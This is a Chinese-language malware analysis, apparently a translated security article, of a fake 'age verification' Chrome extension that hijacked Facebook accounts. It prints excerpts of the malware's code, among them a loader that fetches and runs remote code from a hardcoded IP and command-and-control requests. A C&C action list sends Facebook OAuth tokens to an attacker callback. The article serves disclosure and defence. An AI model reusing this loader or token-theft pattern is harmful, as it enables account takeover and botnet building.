在我们日常的生活中,浏览器扮演了一个愈加重要的角色。随着WEB应用的发展,我们开始把最私密的数据放到如Facebook、Amazon或者Gmail等在线服务平台上。
这样的大趋势使得我们的在线服务更需要做好安全,必须使用上HTTP-only机制和双因子认证技术等等。但是,其实还有个环节可能没有引起太大重视,那就是 浏览器插件。 似乎大部分人都没意识到,浏览器插件的安全有多重要,因为杀软在这里起的作用不会很大。
在这篇文章中,笔者将分享身边一个感染恶意插件的案例。此前笔者犹豫了很久,到底要不要放出完整的代码。最后,为了避免恶意软件的传播,笔者还是放弃了。
但笔者还是想展示这个恶意软件的功能,所以在其中提取了部分代码,并且移除了一些不相关的代码。此外笔者声明,代码中具体的恶意行为与笔者无关。
在Facebook的新闻feed里,笔者注意到其中一个朋友总是关注一些不堪入目的网页链接。而现在Facebook里面,这类诱人点击内容的链接,其实并不算少见。但笔者注意到一点,那个朋友总是会关注同一类的链接,而那些链接总关注量大概有900个,然而下方并没有任何评论。并且, 链接过去的主页 有30个左右的 关注 。更怪异的是,该主页的发的每个状态会重复25遍。
然而据笔者了解,那位朋友是个聪明的家伙,正常来讲不应该天天发这种垃圾东西。出于好奇,笔者决定去研究下这到底是怎么回事。
访问该主页会看到一些链接,在点开还没有看到的实际内容的时候,它就要求验证笔者的年龄。到这儿其实还没啥问题,但是它这个验证,居然是要笔者去安装一个Chrome插件。
该插件来自于一个叫viralands.com的网站,笔者大概 搜索了下关联到这个网站的插件 ,大多都是一类的东西。当然,现在这些插件已经被移除,当时那些插件大概有132265位下载用户。
笔者决定在做其他事情之前,先看下该插件的代码。
笔者在研究插件时,找了一个不错的切入点,也就是manifest.json文件。这其实是一个元数据文件,其中包含了名字、描述、版本号以及权限的等等信息。
{ "permissions":[ "storage", "", "tabs", "webNavigation", "alarms" ] }
确定添加 “ViralContent Age Verify”插件?
它将会:
读取和更改你访问的网站流量。
其实到了这里,大家已经很明显能看出不对劲了,这并不是一个校验年龄的插件。
{ "background":{ "scripts":[ "scripts/query-string.js", "scripts/install.js", "background.js" ], "persistent":true }, "content_security_policy":"script-src blob: filesystem: chrome-extension-resource: 'self''unsafe-eval'; object-src 'self'" }
在这段代码里,它会一直运行三个JS脚本(不会被中止),这足以让黑客持续从浏览器里截取并且存储数据,并且在不安全的环境下执行存储的代码。让我们看看下面这三个JS脚本:background.js、query-string.js以及install.js,检查下它们是否能够印证我们的怀疑。
background.js脚本非常简短,它只做了一件事。当你安装好插件后,它会弹出一个页面让你填写生日,然后点击验证。
document.querySelector('#submit').addEventListener('click',function() { document.querySelector('#box').hidden= true; document.querySelector('#loading').hidden= false; setTimeout(function(){ document.querySelector('#loading').hidden= true; document.querySelector('#done').hidden= false; },(randomIntFromInterval(0, 2) / 2 + 0.5) * 1000); });
如果你点击了“Verify”,他就会显示“Loading…”,并且随机延时一会儿,最后显示“Done”。很明显,代码中并没有真正地进行年龄校验。
那么后面到底还隐藏着什么呢?这个插件还运行了两个脚本,即query-string.js和install.js,让我们继续看看。
query-string.js脚本其实没什么特别的,它只是 这个NPM包 的拷贝版本。
但是,你肯定猜不到install.js做了什么,在代码中133行有重大发现!
var programUrl ='http://104.131.35.136:9999/jsnew.php?id=22';
它将获取脚本的外部服务器地址,赋值为一个硬编码变量。吐槽一下,这里连HTTPS都没用,完全可以搞中间人劫持好么!
提示:该插件直到安装完毕后,才从外部服务器上获取了一个恶意payload,以免被Chrome Webstore安全检查所拦截。
它从服务器上获取了脚本,将其储存在localStorage并执行,我们可以在getProgram()函数中发现这一点:
function getProgram(event) { varxhr = new XMLHttpRequest(); varurl = programUrl; varquerySign = url.indexOf('?') === -1 ? '?' : '&'; url+= querySign + 'r=' + Date.now(); xhr.open('GET',url, true); xhr.setRequestHeader('XYZ-Extension-Id',chrome.runtime.id); xhr.onload= function() { varcode = xhr.response; try{ varfn = new window['Function'](code); console.log('Executingloaded code'); fn();// exit if error localStorage.setItem('localCode',code); }catch (e) { console.error(e); } xhr.send(); } }
curl -o external.js --header"XYZ-Extension-Id: nogheblblcgkncmpggmikmcpnjdihgdd"http://104.131.35.136:9999/jsnew.php?id=22&r=1467883037000
这样笔者就下载了恶意payload,注意本来它没有名字,笔者给他命名为external.js。这是一个非常大的文件,共有1288行,下面会介绍它的功能。
var ACTIONS_URL ='http://159.203.99.206/api/get/'; var STATUS_URL ='http://159.203.99.206/api/status';
第一个URL是从服务器获取指令的,第二个是回复报告给 服务器。 这个模式并不是新出现的,我们可以称之为 命令控制 (或者简写为C&C)。
我们会看到该插件是如何从C&C服务器获取指令,查看external.js里的getActions()函数,就可以获取到指令内容:
function getActions(uid) { varxhr = new XMLHttpRequest(); xhr.open('GET',ACTIONS_URL + uid, true); xhr.responseType= 'json'; xhr.onload= function() { vardata = xhr.response; varactions = data && data.actions; if(Array.isArray(actions) && actions.length) { checkFBLogin(function(status){ fbLoginStatus= status; handleActions(actions); }); } }; xhr.send(); }
function generateUID() { vararray = new Uint32Array(8); window.crypto.getRandomValues(array); return[].map.call(array, function(n) { returnn.toString(16) }).join(''); }
c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
curl -o actions.jsonhttp://159.203.99.206/api/get/c38ae4ec1d2820bc9e2c03c0fe517585644576c988a03ae84af63b6d2bc9e7
{ "actions":[ { "actionType":"ap", "data":{ "url":"https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions%2Cuser_about_me%2Cuser_actions.books%2Cuser_actions.music%2Cuser_actions.news%2Cuser_actions.video%2Cuser_activities%2Cuser_birthday%2Cuser_education_history%2Cuser_events%2Cuser_games_activity%2Cuser_groups%2Cuser_hometown%2Cuser_interests%2Cuser_likes%2Cuser_location%2Cuser_notes%2Cuser_photos%2Cuser_questions%2Cuser_relationship_details%2Cuser_relationships%2Cuser_religion_politics%2Cuser_status%2Cuser_subscriptions%2Cuser_videos%2Cuser_website%2Cuser_work_history%2Cfriends_about_me%2Cfriends_actions.books%2Cfriends_actions.music%2Cfriends_actions.news%2Cfriends_actions.video%2Cfriends_activities%2Cfriends_birthday%2Cfriends_education_history%2Cfriends_events%2Cfriends_games_activity%2Cfriends_groups%2Cfriends_hometown%2Cfriends_interests%2Cfriends_likes%2Cfriends_location%2Cfriends_notes%2Cfriends_photos%2Cfriends_questions%2Cfriends_relationship_details%2Cfriends_relationships%2Cfriends_religion_politics%2Cfriends_status%2Cfriends_subscriptions%2Cfriends_videos%2Cfriends_website%2Cfriends_work_history%2Cads_management%2Ccreate_event%2Ccreate_note%2Cexport_stream%2Cfriends_online_presence%2Cmanage_friendlists%2Cmanage_notifications%2Cmanage_pages%2Cphoto_upload%2Cpublish_stream%2Cread_friendlists%2Cread_insights%2Cread_mailbox%2Cread_page_mailboxes%2Cread_requests%2Cread_stream%2Crsvp_event%2Cshare_item%2Csms%2Cstatus_update%2Cuser_online_presence%2Cvideo_upload%2Cxmpp_login&response_type=token&client_id=41158896424&_rdr", "callback":"http://159.203.99.206/api/getToken" } }, { "actionType":"ap", "data":{ "url":"https://www.facebook.com/dialog/oauth?redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fconnect%2Flogin_success.html&scope=email%2Cpublish_actions&response_type=token&client_id=241284008322&_rdr", "callback":"http://159.203.99.206/api/getToken2" } }, { "actionType":"lk", "data":{ "id":"VVideosss" } } ] }
当你访问上面JSON文件里的链接时,就会自动转到一个会包含你 访问令牌 的URL,该恶意插件会将callback的内容捕获,然后发送到外部服务器上,最后就成功将你的 访问令牌窃取 。
这时候,黑客有了你的Facebook访问令牌,就可以访问你的账户了。他们只要登进去,就能发送和读取你的消息、发布的状态、链接和评论。
笔者下载的指令里,也有让插件去访问一个叫VVideosss的页面的:
看起来似乎黑客是买了(或者想办法弄了)一些僵尸粉。虽然这只是纯粹的猜测,但笔者确信这个页面有一些钓鱼内容。
虽然笔者没有看到任何指令是去订阅YouTube频道的,但是代码中确实包含了一个函数用来干这个。
function sendStatus(data) { chrome.storage.local.get('uid',function(storage) { data.id= storage.uid; data.extension_id= chrome.runtime.id; data.fbLoginStatus= fbLoginStatus; varxhr = new XMLHttpRequest(); xhr.open('POST',STATUS_URL, true); xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); xhr.send(queryString.stringify(data)); console.log('Statusdata has been sent', data); }); }
1.UID,也就是甄别受感染机器的标识。
2.插件ID,也就是对应到每个插件的字符串。毕竟Chrome Webstore里面有许多类似的插件,黑客可能需要知道你用的哪一款。
3.受感染的机器是否已经关联Facebook。
黑客会用这些信息来判断他们的僵尸网络的确切规模和活动情况,以便在黑市确定其价值。
该插件一直在寻找一个新版本的payload,虽然笔者没有看到相应的内容,但是它是有可能衍生出新的扩展和能力的。
因为该恶意插件有权限“读取和更改网站流量”,黑客可以读取你浏览器里的所有内容。比如他们会读取你的email、窃取你网站的登录凭证,利用你的机器DDoS别人,获取比特币,做盗版种子节点,甚至读取你的信用卡信息(如果你曾经在浏览器里面输入过相关内容)。
虽然大多数Viralands 插件被Chrome Webstore下线了,但是那132,265位受感染的用户仍然受影响,笔者窃以为这样是改变不了现状的。
一个僵尸网络服务器结构中,如果缺乏冗余的主控,至少在暂时失去该主控时是有问题的。
尤其在这种情况下, C&C服务器主控地址是被硬编码到恶意插件代码中。如果我们想办法让该地址失效,那么这僵尸服务网络自然不攻自破。
使用 IPalyzer 分析了下,笔者发现IP地址来自于主机商DigitalOcean。顺便提一句,这是一家服务非常高效的主机商。
如果DigitalOcean 关掉这 C&C服务器主控,这些僵尸网络的肉鸡自然都解放了。
笔者自然不能让大家都不使用浏览器插件,其中一些是非常有用的,它们还能帮助我们拥有更安全的上网体验。但是,恶意软件也是存在的,有时候我们也不得不给第三方软件高权限。因此,在这里我想提出一些意见,希望可以缓解一些现状。
谷歌可以开始着手恢复对原来的受信任插件的信任,比如可以手动验证插件,或者审查插件开发者的声誉等。
代码开源也是一个好的解决办法,如果某插件是开源的,官方可以去给它加上标识。但是也有一个问题,开源展示出来的代码不一定跟上架的插件代码一模一样。笔者建议在github上自动构建发布最新版本的代码,然后标记为开源。
还有,别忘了这是谷歌干的破事儿!他们做了 静态代码分析和自动修复建议 ,并为此存了约86TB的库。别告诉我们没有发现这么明显的,仅有20KB的恶意Chrome插件!事实上,Chrome Webstore现在的检测机制就是个笑话,我们想要逃避官方检测安装恶意payload,只需要在安装插件后进行就可以了。多年以来,谷歌一直没彻底解决这一点。他们曾开展过 Chrome的 漏洞赏金计划,但是却刻意避开了这个如此明显,而几乎没有防护的安全威胁。
事实上这是Chrome Webstore上的阴影,下架插件对受感染的用户并没有什么帮助,而这个漏洞恐怕也是当前WEB上最大的安全威胁之一。
就职于Chrome安全的 Will Harris告诉笔者,这些插件已经能够自动化地从受害者机器清除了。这对大家来说是个好消息,那132,000名用户不会再受感染的侵害,官方提供了更好也更简便的方式来干掉该僵尸网络。
*参考来源: kjaer ,FB小编dawner编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)